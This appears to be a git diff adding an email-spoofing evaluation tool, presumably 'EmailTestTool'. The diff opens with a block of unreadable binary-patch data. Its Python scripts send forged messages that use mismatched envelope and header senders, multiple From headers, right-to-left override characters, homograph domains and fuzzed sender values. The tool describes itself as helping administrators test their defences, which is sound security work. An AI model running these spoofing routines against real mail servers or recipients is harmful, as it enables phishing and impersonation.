z5@EM6RP8M)p&h1dL<(gpFH`05hR>~alB5wDHm}+@@*U@gCvy=qmRGr52&-MKefA+v zH8Og7xt%y+d8V4&qu0BX#?`?cjBp*l-pk6c!g*1r;NrnVj*xVk%F|z$Tpv|AG7PF@ z?mSKZtYcDTG0vsf;d({as?kPlDd;qO&1i3{oO}c?mw~TcU zs0uoJvZ@$h5TR{x0-`2yjp{TKCcRI1S6}?AE8lB&bsySbO}rLzO{XBTg0(ee5XTxj z@jxvCPfB~c#i{BvPr6UqY?EGnbOoMFxi>U6maOzcad$~qzC=JuCmIG&j*s`L%@bqe zPhMr##q27(G{_YApA;bMA8p{Bk6S-PG=}k+Quu?__EG=Q(orF(t< zR{yX%dUfp3bY1{8@gyvA3M{=`UQIDSGeOj$K zgLm-{aDHy&g|)1~%g8y?bIU+FK6#ZCwUam2883>JoVA3|qAv1?Q-<5)UI^4&cYt{W z->{DiBpXaI8=N#gFReQWgNgtJi-qm%Qa&$HNzikV#c7FjvhJ&^Te8un(DhPm|LeRw z_sZrpD`f7wSf%D`qC2{-koOUg%_cXHuy^@j5-x+^0+Z z6i9v~)WqQh)NhgvZYgx;%P3e`;3v3FA9`s{vH0@;#6roaeerIN4-uIWg}G zZ3P_LaZCv~>%Yvm^&5UTNTupA-%EI1*s_fS~jm%|@ z^0Cao*mwJj-}W5saV_}Bf)y1VP#tgN%E|};r6WuYL&VE~B6G#q%ubm2;%A~eLqJHm zNHa2c@7EFb#j%n<`Xn#Dt(v{<&dZDVV1-kY83*{R`fcEo@1n&q%nY0(3desG{kuG7 zjEPiX1DWoKv$4CZYWT3-mSRyEhEatj9|oiD(;!L}-=HogkB~WmBu*Kh zCgseO$hg>^v-#lVnomw0*svB$->lQR_n>L*&f7F^AAp>oN$IiC+ciI%!_=aidm#52k)O)HuA`{JpGlgo~v+2lt))7Azp-J7VrM#q)8wX73LTYoHI% zt4t0rBdKom`>;?d6X+P}meT2#GD4CU?w=4bkRfc9a_x1)FHL<%LjTux_*Jtc3F@=8_!f(jqCNS`x&ZPF`8K1RFfe0|rr#cz zO{6eKY@v=X`(g8Hl$S=CdfK||0Btgqe=nY>;nTMvbDYKNq{+DTGJ#m+!C#%Iz6ntC za{5G*oweK{qoX(b0`CnbKN84L|7^Uc?$R^rA4s)wtf$cvokq7Z&1KMG?9ZI=?7}8i z1X$wgA)p@9BQX99`xM3=cyh~q{hn{;$|#OEL9yHLsMa{erY@=a@0Q$3sa`(HA}=$D zQcXaBy?g-!i0P*D_B0nAdm*P*=BJ$Ogy(t@*xm(|`}N`1j)I(tqSh;j5`>%Ss6SXa zLHaJge+!bjgPLPG`#^HEM6U7E8w#Z}Lvq#(hU^X;`){3#LN1z$Qme3E4HoO)i`40U zjb|LHC=a4})#?fYWv5`9%Tw4!pXbI0J|8@qwAJS6V(BH9WlL!RbiC$TY>IJ2n5wKAnlV`w^!`uce z=ooMg!)Udm;7|F<^(7BU> z{IT=0Wp>xPbNMT}n3X9btBpR4MD9HfZzr^U4w$p+v^YOpQe?!Zm*gt6knVlgMV1EP z1V1)aJ-ZCLi5KyK@NA?k&|)fr!$I{#y457C>JYzjqPR{=pf&sGam{I!dpVCbZh)## zhilFUE9O@bSQ7oAYpy6hC{_+6$b41XihsEE)O8^}B>0*#fI+BoyTFC40ie3r3yya) zs-eV#``WT*T)y(_m>Owzzq$Q#I35gn5xm*ICZws^e*i&3)inew=Be}llW~k&{K3g_ z{)UzXSUaNOJrklov9QO%0lYt`q!0k?j^JuRMU$ylET#Pmlkks zTKLN#%HESMYE{#A5WQ+2$Zd!4Y~l3y7X}J8W;&qhTt;C+HYGm(;krHEUa8nBkB)JN zhGVHtU!Xe2iYWe_EOV8ny+bo~Itj0}3D%ezKMdFr{!mbP#vrn$z5N}14GoR!G^ zK4v_fKM;BbJsl29C57jP0&Ls%FIStiDm?=gDq?2Cc6>YNW*3vaop{kYw24U zgzsd?H(C-`qnCB+(p>5~d{ZU`MSo78`aZx+Cd)W!+NGkx8k1-@RBLzgGV)q3MMeNk z1Op(5BJ*1~T9n?GR#>xyQ31uLv(guM_XvWGiM z)AJZc8KdDrWhK7q#$wHHuLy%WYa*?d#9jwy1WAec+E zKgDu%fQ_xem@x)oUuP1r+;kO3wd!G#@UMrc73lzS#emGqE1J&q2-s(%%ookwKyQt5 z0>x;Lr4o^(Pg2<8VFKdrmQwYgb#(DkY)wI=I%+nRQL(%mftC4UyJk6a?45%uq+d+D zesL+v!xS2v=&boPIw>43Ye9M&X(vO=Ya^>QQ0;p{X8q9fXbH|(83afF<1Uin^BM*- z!_d^+%4v428|L`&lW#$CzZy!6d>mZBWbtBk0z>K9TvQy zET!4Z|MoeGxPYFTO7 zmZ0=;*60E=P_i&jD>8;sL=Lw;4n;Q-Nnuf9y~*kWKru6_0iXNh?=srh=?erBv>=rl zwB1bi1w^B1>nv!#BUaO7Jiv26xN+Q0+!-^_?UlEPzS!bv9;eOgq5ux1TA;L1?LRSa zQjBJ-6*jA?@j}-JSHZtX9{aO$D1ydI6O~lp5~t)D6PMM8fQk(?s+%8go=m=a?yOD6 zaqlTU%K=zS7B)i*O{|BQ?|(D~zzxG;M59)OW)mY73e=F`u~PRLU% zF;4yg4~vhTnldY21A5dOeQoky-GeLyaE^V{yoVs^%o&1>jRV%EMz#LwLcyNlfBj6n zRYD?fACu@-XLhQIaV7NWc|Dw2GK&Pz$W+4F)n%BZrOm_<=Q)${yrjpk`~?wu;mCZh}- zGrr>iQG8YtG&OLg0hhY0neBgU&plxP3t-bWn0a&MI?LCE-?eBP#gBnrXhsHZK5DyQ z+An^a)3UDRNHZH+dND4J2itdzj#WmksP!TWivy)vF1u;H=>{K1gzt89ZH;Wi(yCBi zWN8Pm56E2SE9dO5tkxD`JEM%skTu2_r~zWCUwIs5WtXI`rz=+3evPI%Mba85l&TovsY*jy;^FCL~5m-Q=Wa`HRS3qKDR&br7ClDy+G<~&AL zk0P$NBSkE;x_GI}P!sFGA>-9y$8o^e$kI#gM{hnQ)D!y_yjvjUn(9Z94Yx^PQg^zo ztOQNhIMskx=b6oce4^a3H>4}3}Cz~D(<6ADpx%~&eOUjy< zy@bR{8?}+xV;uoD$3WA2VavuX$b&@(Fx(y=Z^>y~*z%bEOL*~8mn%KTd0UEw6MFOraTj+c?X)*&8~tDW}!^4^y-0h_9&$_K9JT4=UM9I?x0@B z!Czc_*wVd_R|ewPu4hQAJJJINO3brxMJ6&iSX7KC>+?uSKXw>K>HjjY#3sN=29aM{>5S~ zeo?RBrEPxabGKctNirkS^VuX{o$6Z5H&*xVGD*nj-gu>AnBMxiqes7zZ>1vpYvIoW z2d)DL?*6O9Oa*C~`#CD0JZ~C8F@Bu$t;FREF%9GI8GBF3v+sojePRrTYV>k@USlJS^m?$U5Nc>w0KrVJAP27dkP_~(Ed+MCj6$a z6GG84O%@~HMp5YNdsz4eZhUfW?|N3&ld4|Rs`2=T8=urimntw(QRTp5AqNM!Ram^k z@4svgFWyyE7xucDi9Z1*1E@72x13$y0wWCMdY0TFGQZirG zF1w}*tnf10RYU8-OW2D(pA5dB3DWruyEd&jK`4CdFru=PTJ7Q@)}AZtoDv+NC=05w zNJhFk&_LKT$V`lLrsH@5(lUXTgx7QKm&;H4UVx_Km*#@0zLZT;@4sK`OJyHOSJi)h zy@O?Q41o=QgV@BE*49)_;s{bM*^b_cJSrqGH(NEizS_pZo1w~ zRxM0=E>^WgfJ@#Jb}Am?LuJ#&6K>TDa>uGI`AwQpvpNl7>m@5dMsYgX86-+Z`S6KZ4V_ww}=hQ)NSdfP#s7`KFv$&FkJ5}9dc;0Rk}fMbMSXh2`)a zn8GPl9=7Uyd|TC;nDb34%IX}+a1?w^wO4mM;Xw{zxl{s|d+VIeqchp45kjMULDaIm|Lb&kxu^AUS}I2A!gCtY=Il zX$kV_dnE`%xY*y98UB3ydJqAEhM4~lD*jVsA$j0$Tvl60FsI}>yF;0C7FJ}Lf9@YJ zx=@{aOU)N_XE5FC;`h$tPVt0OB*% z@QS;jFnbLS8^d*=l_%y{CRE!VpQ}~2wU2Y1&S*8xWwv$t& zF8>_tz$&X|gfdGRJM|aw;VKo{w_{X0YV%3)CM{Ga2a^Nt6M;>X9^t&@pRSXgf1jr? z3o=eKyYTkn&ACTpUlOm4miAosVI18f1UE^;abaKF#fc`WH#uC~^Z#0vh;XdP3ajMs zt48x>JAdj9n#;7SsO4M{Bnqpb%I#8MH_PPgD4dk7msX^RCnS>GVLosS&^#YHbmLee z)OpzjM0XMwwVzQpUY^Xsg+WlLi5L{*Wn-5Ke%1?QPUEqML9LT7D>%cS1%OKQj+931=6}pd`r3H$-5!H z$gm#u`E`y%XXJP3{@Q`>i0TA(;Ax+G3ZT9sLY4;uBS6P21PWP)uRqgS=^qZv-Ck|E zCPq5~HlP__X_xa~CGU9MlqLjcVq%)SParQ}q>&`QE_}4}rM~=P`nu!fJU^@G%%RZp zzd2*w(Ov8bf2Zg!g);Kg_dQa?ws5Lv?Ou)DZxUi#&2i~iwQn!kmU3GYX3q{WcO zm%+@>&qZ_%)3@iGWopENf`b*#o1<;E0mXW7YVkukp>&Xd7tj1ocLeI&7Su>b4~8ESI`q%Hbmx68L&KA}m(HBGas6?nwXYYUj1-0Al3#gE5I z5B4^|owwIF5)fZ8ejavmx{BN$q)``>Zmn&vl3VHN?c)Gq`RV#*I^VsKKZ|;RD2zp( z3;&Q;e;ytJpl;_@+Lvl@^}lg3mFX=X&b1> zH5hfj;|!hJ5eXmGU&&$_jANjG4>>eGRv1QqN8fO1t^Fv84|+f*P>DB!<48k>cb|~2 zi6h|We<%VIehxR}3bI?pWFG^QOR$0i=&aL{)i8~6oXNfm0}D(e>t$KoaHtNo%mluC zob_zkLY?Z@N+K#c@pMticSS(yFTA1e9>vD3L_qG2uzrubwCr=8|4)xJULrvn`K-qOmSM;>xtx(nee zS18Na)waD}J8zedY6#G5C#tj5oxk~h`|AFTg@S_4DEjXcfh)C6{al=B^i!M*=$UP& zJP`PM&F+fBCp<`t3@{5shGM)Xo*n{Yw$ufZCj+;g?=b_h>R=j*D<{C1tL4FVQ8FK0 zS^y*wW_r~B^WcA5Gg7X`tlqUfV*I}^{Eyv10hoi>p$ZhC{eKL&=QP5;$j$HZd;dBA q-@bxSS2K8Q>R$E#8vg$n3k8{)upd(tkt0Dfc-xz<9ZSR literal 0 HcmV?d00001 diff --git a/mta_send.py b/mta_send.py new file mode 100755 index 0000000..f51a166 --- /dev/null +++ b/mta_send.py @@ -0,0 +1,199 @@ +# -*- coding: UTF-8 -*- +# the code to send forged emails as an MTA + +import time +from util.log import init_log +from struct import pack +import random +import os +import string +from core.MTA import * +from config import * + +BASE_DIR = os.path.dirname(os.path.abspath(__file__)) +LOG_FILE = BASE_DIR + '/log/mta.log' +logger = init_log(LOG_FILE) + + +def test_reverse_mime_from(to_email): + mail_from = "" + # MIME.From + mime_from = "\u202emoc.qq@\u202dadmin" + subject = "{} --> {} [reverse domain]".format(mime_from, to_email) + content = "{} --> {} [reverse domain]\n".format(mime_from, to_email) + content += "Envelope.From: {}\n".format(mail_from) + content += "MIME.From: {}\n".format(mime_from) + spoof(mail_from,to_email,subject, content,mime_from=mime_from) + # logger.debug(content) + # logger.debug('-' * 20) + +def test_mime_from_empty(mail_from,to_email): + mime_from = '' + subject = "%s --> %s [test_mime_empty]" % (mail_from, to_email) + content = "Envelope.From: {}\n".format(mail_from) + content += "MIME.From: {}\n".format(mime_from) + spoof(mail_from,to_email,subject, content,mime_from=mime_from) + # logger.debug(content) + # logger.debug('-' * 20) + +def test_IDN_mime_from(to_email): + # Envelope.From + mail_from = "admin1@xn--80aa1cn6g67a.com" + # MIME.From + mime_from = "admin1@xn--80aa1cn6g67a.com" + subject = "{} --> {} [IDN domain]".format(mime_from, to_email) + content = "{} --> {} [IDN domain]\n".format(mime_from, to_email) + content += "Envelope.From: {}\n".format(mail_from) + content += "MIME.From: {}\n".format(mime_from) + spoof(mail_from,to_email,subject, content,mime_from=mime_from) + # logger.debug(content) + # logger.debug('-' * 20) + +def test_sender(mail_from,to_email,sender): + mime_from = mail_from + # Sender + subject = "%s --> %s [Sender]" % (mail_from, to_email) + content = "%s --> %s [Sender]\n" % (mail_from, to_email) + content += "Envelope.From: {}\n".format(mail_from) + content += "MIME.From: {}\n".format(mime_from) + content += "Sender: {}\n".format(sender) + spoof(mail_from,to_email,subject, content,mime_from=mime_from,sender=sender) + # logger.debug(content) + # logger.debug('-' * 20) + +def test_mail_mime_attack(mail_from,to_email): + domain = mail_from.split('@')[1] + mime_from = 'admin@' + domain + subject = "%s --> %s [test_mail_mime_attack]" % (mail_from, to_email) + content = "Envelope.From: {}\n".format(mail_from) + content += "MIME.From: {}\n".format(mime_from) + spoof(mail_from,to_email,subject, content,mime_from=mime_from) + # logger.debug(content) + # logger.debug('-' * 20) + +def test_mail_mime_attack_diff_domain(mail_from,to_email): + username = mail_from.split('@')[0] + mime_from = username+'@emailtestxxx.com' + subject = "%s --> %s [test_mail_mime_attack_diff_domain]" % (mime_from, to_email) + content = "Envelope.From: {}\n".format(mail_from) + content += "MIME.From: {}\n".format(mime_from) + spoof(mail_from,to_email,subject, content,mime_from=mime_from) + # logger.debug(content) + # logger.debug('-' * 20) + +def test_mime_from_badchar(to_email): + mail_from = "admin@test.com" + # MIME.From + mime_from = "admin@test.com{}@test2.com".format('\xff') + subject = "%s --> %s [badchar]" % (mime_from, to_email) + content = "%s --> %s [badchar]\n" % (mime_from, to_email) + content += "Envelope.From: " + str(mail_from) + content += "\nMIME.From: " + str(mime_from) + spoof(mail_from,to_email,subject, content,mime_from=mime_from) + # logger.debug(content) + # logger.debug('-' * 20) + +def test_mail_from_empty(mime_from,to_email,helo): + mail_from = '' + subject = "%s --> %s [test_mail_from_empty]" % (mime_from, to_email) + content = "Envelope.From: {}\n".format(mail_from) + content += "MIME.From: {}\n".format(mime_from) + spoof(mail_from,to_email,subject, content,helo=helo,mime_from=mime_from) + # logger.debug(content) + # logger.debug('-' * 20) + +def test_multiple_value_mime_from1(mail_from,to_email): + mail_from = mail_from + domain = mail_from.split('@')[1] + first_mime_from = 'admin@'+domain + mime_from = first_mime_from+','+mail_from + subject = "%s --> %s [test_multiple_value_mime_from_1]" % (mail_from, to_email) + content = "Envelope.From: {}\n".format(mail_from) + content += "MIME.From: {}\n".format(mime_from) + spoof(mail_from, to_email, subject, content,mime_from=mime_from) + # logger.debug(content) + # logger.debug('-' * 20) + +def test_multiple_value_mime_from2(mail_from,to_email): + mail_from = mail_from + domain = mail_from.split('@')[1] + second_mime_from = 'admin@'+domain + mime_from = mail_from+','+second_mime_from + subject = "%s --> %s [test_multiple_value_mime_from_2]" % (mail_from, to_email) + content = "Envelope.From: {}\n".format(mail_from) + content += "MIME.From: {}\n".format(mime_from) + spoof(mail_from, to_email, subject, content,mime_from=mime_from) + # logger.debug(content) + # logger.debug('-' * 20) + +def test_multiple_mime_from1(mail_from,to_email): + mime_from = mail_from + domain = mail_from.split('@')[1] + mime_from1 = 'admin@'+domain + subject = "%s --> %s [test_multiple_mime_from1]" % (mail_from, to_email) + content = "Envelope.From: {}\n".format(mail_from) + content += "MIME.From: {}\n".format(mime_from) + content += "mime_from1: {}\n".format(mime_from1) + spoof(mail_from, to_email, subject, content,mime_from=mime_from,mime_from1=mime_from1) + # logger.debug(content) + # logger.debug('-' * 20) + +def test_multiple_mime_from2(mail_from,to_email): + mime_from = mail_from + domain = mail_from.split('@')[1] + mime_from2 = 'admin@'+domain + subject = "%s --> %s [test_multiple_mime_from2]" % (mail_from, to_email) + content = "Envelope.From: {}\n".format(mail_from) + content += "MIME.From: {}\n".format(mime_from) + content += "mime_from2: {}\n".format(mime_from2) + spoof(mail_from, to_email, subject, content,mime_from=mime_from,mime_from2=mime_from2) + # logger.debug(content) + # logger.debug('-' * 20) + +def test_normal(mail_from, to_email, subject, content, mime_from=None, mime_from1=None,mime_from2=None, sender=None, + helo=None,filename=None): + spoof(mail_from, to_email, subject, content, mime_from=mime_from, mime_from1=None,mime_from2=None,filename=filename) + # logger.debug(content) + # logger.debug('-' * 20) + + + +if __name__ == "__main__": + + """ + Send normal smtp email to receiverUser + :param mail_from: + :param mime_from: + :param to_email:MTA target which can be changed to what you like. + :param subject: + :param content: both html and normal text is supported + :param filename: put Mail attachment into uploads folder and specify 'filename' + Other parameters like helo,mime_from1,mime_from2,sender can be specified. + :return: + """ + # test_normal(mail_from, to_email, subject, content, mime_from=mime_from, mime_from1=None,mime_from2=None, sender=None,helo=None,filename=None) + test_reverse_mime_from(to_email) + test_mime_from_empty(mail_from,to_email) + test_IDN_mime_from(to_email) + + test_sender(mail_from,to_email,sender) + test_mail_mime_attack(mail_from,to_email) + test_mail_mime_attack_diff_domain(mail_from,to_email) + test_mime_from_badchar(to_email) + + test_mail_from_empty(mime_from,to_email,helo) + test_multiple_value_mime_from1(mail_from,to_email) + test_multiple_value_mime_from2(mail_from,to_email) + test_multiple_mime_from1(mail_from,to_email) + test_multiple_mime_from2(mail_from,to_email) + + + + + + + + + + + \ No newline at end of file diff --git a/pre_fuzz.py b/pre_fuzz.py new file mode 100755 index 0000000..cba3274 --- /dev/null +++ b/pre_fuzz.py @@ -0,0 +1,84 @@ +import numpy as np +import sys +import json, re, random +import time +from config import * +from optparse import OptionParser +from fuzzer import mutation as mu +from fuzzer.abnf_parser import get_rule_list, generate + + +class MyEncoder(json.JSONEncoder): + def default(self, obj): + if isinstance(obj, np.ndarray): + return obj.tolist() + elif isinstance(obj, bytes): + return str(obj, encoding='utf-8') + return json.JSONEncoder.default(self, obj) + + +def generate_all(rfc_number, rule_name, count): + count = int(count) + get_rule_list(rfc_number) + res = [] + for i in range(0, count): + rule_value = generate(rule_name, rfc_number) + res.append(rule_value) + res = muation(res) + save_data(res) + return res + + +def sleep(): + m = random.randint(8, 20) + wait_time = m * 60 + while True: + logger.info("[+] This test is finished, waiting for the next round...") + for i in range(wait_time): + logger.info("[+] The next attack is %d seconds later..." % (wait_time - i)) + time.sleep(1) + + +def muation(origin_data): + fuzzpy_path = BASE_DIR + '/fuzzer/mutation.py' + with open(fuzzpy_path, 'r') as f: + code = f.read() + func_list = re.findall(r"def (fuzz_[^(]*)\([^)]*\)\:", code, re.S) + logger.debug(func_list) + res = [] + for d in origin_data: + res.append(d) + for func in func_list: + tmp = getattr(mu, func)(d.decode()).encode() + logger.debug(tmp) + res.append(tmp) + res = list(set(res)) + return res + + +def save_data(data): + with open(FUZZ_PATH, 'w') as f: + json.dump(data, f, cls=MyEncoder, ensure_ascii=False, indent=4) + return + + +def parse_options(): + parser = OptionParser() + parser.add_option("-r", "--rfc", dest="rfc", default="5322", + help="The RFC number of the ABNF rule to be extracted.") + parser.add_option("-t", "--target", dest="target", default="from", help="The field to be fuzzed in ABNF rules.") + parser.add_option("-c", "--count", dest="count", default="255", + help="The amount of ambiguity data that needs to be generated according to ABNF rules.") + (options, args) = parser.parse_args() + return options + + + + + +if __name__ == '__main__': + # print banner + banner() + # parse options + options = parse_options() + generate_all(options.rfc, options.target, options.count) diff --git a/requirements.txt b/requirements.txt new file mode 100755 index 0000000..31bde4b --- /dev/null +++ b/requirements.txt @@ -0,0 +1,28 @@ +astroid==2.3.1 +asyncpool==1.0 +certifi==2019.9.11 +cffi==1.12.3 +chardet==3.0.4 +coloredlogs==10.0 +dnspython==1.16.0 +future==0.18.2 +humanfriendly==4.18 +idna==2.8 +isort==4.3.21 +lazy-object-proxy==1.4.2 +mccabe==0.6.1 +numpy==1.19.0 +protobuf==3.10.0 +pycparser==2.19 +pylint==2.4.2 +python-magic==0.4.15 +requests==2.22.0 +scapy==2.4.3 +six==1.12.0 +treelib==1.6.1 +typed-ast==1.4.0 +urllib3==1.25.6 +wrapt==1.11.1 +yara==1.7.7 +yara-python==3.11.0 +zio3==3.0.4 diff --git a/run_test.py b/run_test.py new file mode 100755 index 0000000..3126f1e --- /dev/null +++ b/run_test.py @@ -0,0 +1,99 @@ +import numpy as np +import sys +import json, re, random +import time +from config import * +from core.MTA import spoof +from core.SMTP import SendMailDealer +from optparse import OptionParser + + + +def sleep(): + m = random.randint(8, 20) + wait_time = m * 60 + while True: + logger.info("[+] This test is finished, waiting for the next round...") + for i in range(wait_time): + logger.info("[+] The next attack is %d seconds later..." % (wait_time - i)) + time.sleep(1) + + +def MTA_mail_from_test(): + with open(FUZZ_PATH, 'r') as f: + data = json.load(f) + to_email = receiveUser + for m in data: + mail_from = m + spoof(mail_from=mail_from, to_email=to_email, mime_from=mime_from, subject=subject, + content=content) + logger.info("TEST MTA mail from:{} ,run succ".format(mail_from)) + sleep() + + +def MTA_mime_from_test(): + with open(FUZZ_PATH, 'r') as f: + data = json.load(f) + to_email = receiveUser + for m in data: + mime_from = m + spoof(mail_from=mail_from, to_email=to_email, mime_from=mime_from, subject=subject, + content=content) + logger.info("TEST MTA mime from:{} ,run succ".format(mime_from)) + sleep() + + +def SMTP_mail_from_test(): + with open(FUZZ_PATH, 'r') as f: + data = json.load(f) + to_email = receiveUser + for m in data: + mail_from = m + try: + demo = SendMailDealer(user, passwd, smtp, port) + demo.sendMail(to_email, mail_from=mail_from) + logger.info("TEST SMTP mail from:{} ,run succ".format(mime_from)) + except Exception as e: + logger.error(e) + sleep() + + +def SMTP_mime_from_test(): + with open(FUZZ_PATH, 'r') as f: + data = json.load(f) + to_email = receiveUser + for m in data: + mime_from = m + try: + demo = SendMailDealer(user, passwd, smtp, port) + demo.sendMail(to_email, mime_from=mime_from) + logger.info("TEST SMTP mime from:{} ,run succ".format(mime_from)) + except Exception as e: + logger.error(e) + sleep() + + +def parse_options(): + parser = OptionParser() + parser.add_option("-m", "--mode", dest="mode", default="SMTP", + help="The attack mode with spoofing emails( SMTP: Shared MTA, MTA: Direct MTA)") + parser.add_option("-t", "--target", dest="target", default="MIME", help="The target field to test.") + (options, args) = parser.parse_args() + return options + + + +if __name__ == '__main__': + # print banner + banner() + options = parse_options() + if options.mode == 'MTA': + if options.target == 'MIME': + MTA_mime_from_test() + else: + MTA_mail_from_test() + else: + if options.target == 'MIME': + SMTP_mime_from_test() + else: + SMTP_mail_from_test() diff --git a/smtp_send.py b/smtp_send.py new file mode 100755 index 0000000..a4168d9 --- /dev/null +++ b/smtp_send.py @@ -0,0 +1,325 @@ +#!/usr/bin/env python3 +# coding:utf8 + +from util import smtplib +from struct import pack +import string +import time +import os +from email.mime.multipart import MIMEMultipart +from email.mime.text import MIMEText +from email.header import Header +from util.log import init_log +from core.SMTP import SendMailDealer +from config import * + +rstr = string.ascii_letters + string.digits +RSTR = list(map(lambda x: x.encode(), rstr)) # str --> byte + +BASE_DIR = os.path.dirname(os.path.abspath(__file__)) +LOG_FILE = BASE_DIR + '/log/smtp.log' +logger = init_log(LOG_FILE) + +template = """--- + +INFO: + +This is an evaluation email sent by EmailTestTool to help email administrators to evaluate and strengthen their security. + +If you see this email, it means that you may are vulnerable to the email spoofing attacks. + +This email uses the {attack_name}({number}). + +---------------------------------------------------------------------------------------------------- + +How to fix it: + +For the IDN {attack_name}({number}): {defense} + +---------------------------------------------------------------------------------------------------- + +More Details: + +More email header details are provided to help you to configure the corresponding email filtering strategy. + +""" + + +def is_bad(s): + return s not in RSTR + + +def test_normal(user, passwd, smtp_server, receiveUser, subject, content, + filename=None, mime_from1=None, mime_from2=None, mail_from=None, image=None, mime_from=None): + smtp, port = smtp_server.split(":") + print(user, passwd, smtp, port, receiveUser, mime_from, subject, content, filename, mime_from1, mime_from2) + demo = SendMailDealer(user, passwd, smtp, port, filename=filename) + demo.sendMail(receiveUser, mime_from=mime_from, subject=subject, content=content, mime_from1=mime_from1, + mime_from2=mime_from2, mail_from=mail_from, image=image) + + +def test_mail_mime_attack(user, passwd, smtp_server, receiveUser): + """ + Test whether the smtp server supports MIME FROM and MAIL FROM inconsistency + :return: + """ + smtp, port = smtp_server.split(":") + demo = SendMailDealer(user, passwd, smtp, port) + to_email = receiveUser + info = u"The Inconsistency between Mail From and From headers" + number = "A2" + subject = "[Warning] Maybe you are vulnerable to the %s attack!" % number + domain = user.split('@')[1] + # mime_from can specify any value you like. + mime_from = 'admin@' + domain + defense = '''You should Add a reminder to remind users that the sender is inconsistent with MAIL FROM on UI.''' + content = template.format(attack_name=info, number=number, defense=defense) + demo.sendMail(to_email=to_email, info=info, mime_from=mime_from, subject=subject, content=content) + + +def test_login_mail_attack(user, passwd, smtp_server, receiverUser): + """ + :return: + """ + smtp, port = smtp_server.split(":") + demo = SendMailDealer(user, passwd, smtp, port) + to_email = receiverUser + info = u"The Inconsistency between Auth username and Mail From headers" + domain = user.split('@')[1] + mail_from = 'adm1n@' + domain + defense = 'Prohibit sending such emails! ' + try: + demo.sendMail(to_email=to_email, info=info, mail_from=mail_from, subject=info, defense=defense) + except Exception as e: + logger.error(e) + logger.info("attack failed.") + return False + logger.info("attack success!") + return True + + +def test_mail_mime_chars_attack(user, passwd, smtp_server, receiveUser, special_unicode='\xff'): + """ + Test whether the smtp server supports different unicode in MIME FROM header + :return: + """ + smtp, port = smtp_server.split(":") + demo = SendMailDealer(user, passwd, smtp, port) + to_email = receiveUser + info = u"Missing UI Rendering Attack" + number = "A13" + subject = "[Warning] Maybe you are vulnerable to the %s attack!" % number + domain = user.split('@')[1] + username = user.split('@')[0] + defense = 'You should reject emails which contains special and not allowed characters in the sender address or add a warning in the UI.' + mime_from = username + special_unicode + '@' + domain + content = template.format(attack_name=info, number=number, defense=defense) + demo.sendMail(to_email, info=info, mime_from=mime_from, defense=defense,subject=subject,content=content) + + +def test_multiple_mime_from1(user, passwd, smtp_server, receiveUser): + """ + Test whether the smtp server supports multiple MIME FROM headers.(The Specified MIME FROM is above) + :return: + """ + smtp, port = smtp_server.split(":") + demo = SendMailDealer(user, passwd, smtp, port) + to_email = receiveUser + info = u"Multiple From Headers Attack" + number = "A4" + subject = "[Warning] Maybe you are vulnerable to the %s attack!" % number + domain = user.split('@')[1] + mime_from1 = 'admin@' + domain + defense = '''You should reject such emails which contain multiple from headers.''' + content = template.format(attack_name=info, number=number, defense=defense) + demo.sendMail(to_email, info=info, mime_from=user, mime_from1=mime_from1,defense=defense,subject=subject,content=content) + + +def test_multiple_mime_from2(user, passwd, smtp_server, receiveUser): + """ + Test whether the smtp server supports multiple MIME FROM headers.(The Specified MIME FROM is below) + :return: + """ + smtp, port = smtp_server.split(":") + demo = SendMailDealer(user, passwd, smtp, port) + to_email = receiveUser + info = u"Multiple From Headers Attack" + number = "A4" + subject = "[Warning] Maybe you are vulnerable to the %s attack!" % number + domain = user.split('@')[1] + # mime_from2 can specify any value you like. + mime_from2 = 'admin@' + domain + defense = '''You should reject such emails which contain multiple from headers.''' + content = template.format(attack_name=info, number=number, defense=defense) + demo.sendMail(to_email, info=info, mime_from=user, mime_from2=mime_from2, defense=defense,subject=subject,content=content) + + +def test_multiple_value_mime_from1(user, passwd, smtp_server, receiveUser): + """ + Test whether the smtp server supports multiple email address in MIME FROM header.(The specified email address is in front) + :return: + """ + smtp, port = smtp_server.split(":") + demo = SendMailDealer(user, passwd, smtp, port) + to_email = receiveUser + info = u"Multiple Email Addresses Attack" + number = "A5" + subject = "[Warning] Maybe you are vulnerable to the %s attack!" % number + domain = user.split('@')[1] + front_mime_from = 'admin@' + domain + # mime_from can specify in many different situations such like ',','a,b',"'a@a.com','b@b.com'" ... + mime_from = front_mime_from + ',' + user + defense = '''You should display all sender addresses and remind users that it may be forged emails on UI.''' + content = template.format(attack_name=info, number=number, defense=defense) + demo.sendMail(to_email,subject=subject,mime_from=mime_from, info=info, content=content) + + +def test_multiple_value_mime_from2(user, passwd, smtp_server, receiveUser): + """ + Test whether the smtp server supports multiple email address in MIME FROM header.(The specified email address is at the back) + :return: + """ + smtp, port = smtp_server.split(":") + demo = SendMailDealer(user, passwd, smtp, port) + to_email = receiveUser + info = u"Multiple Email Addresses Attack" + number = "A5" + subject = "[Warning] Maybe you are vulnerable to the %s attack!" % number + domain = user.split('@')[1] + back_mime_from = 'admin@' + domain + # mime_from can specify in many different situations such like ',','a,b',"'a@a.com','b@b.com'" ... + mime_from = user + ',' + back_mime_from + defense = '''You should display all sender addresses and remind users that it may be forged emails on UI.''' + content = template.format(attack_name=info, number=number, defense=defense) + demo.sendMail(to_email,subject=subject,mime_from=mime_from, info=info, content=content) + + +def test_multiple_value_mime_to(user, passwd, smtp_server, receiveUser): + """ + Test whether the smtp server supports multiple email address in MIME TO header. + :return: + """ + smtp, port = smtp_server.split(":") + demo = SendMailDealer(user, passwd, smtp, port) + to_email = receiveUser + info = u"Test multiple addresses in 'to' filed" + domain = user.split('@')[1] + new_mime_to = 'admin@' + domain + to = user + ',' + new_mime_to + # MIME TO header can be specified and tested like MIME FROM header + demo.sendMail(to_email, mime_from=user, info=info, to=to) + + +def test_mime_to(user, passwd, smtp_server, receiveUser): + """ + Test whether the smtp server supports MIME TO and RCPT TO inconsistency + :return: + """ + smtp, port = smtp_server.split(":") + demo = SendMailDealer(user, passwd, smtp, port) + to_email = receiveUser + info = u"Test mime to" + domain = user.split('@')[1] + to = 'admin@' + domain + demo.sendMail(to_email, mime_from=user, info=info, to=to) + + +def test_IDN_mime_from_domain(user, passwd, smtp_server, receiveUser): + """ + Test whether the smtp server supports IDN MIME FROM(domain) + """ + smtp, port = smtp_server.split(":") + demo = SendMailDealer(user, passwd, smtp, port) + to_email = receiveUser + info = u"IDN Homograph Attack" + number = "A12" + subject = "[Warning] Maybe you are vulnerable to the A12 attack!" + # username = user.split('@')[0] + mime_from = "admin" + "@xn--80aa1cn6g67a.com" + defense = "You can only display the original address with Punycode character, if a domain label contains characters from multiple different languages." + content = template.format(attack_name=info, number=number, defense=defense) + 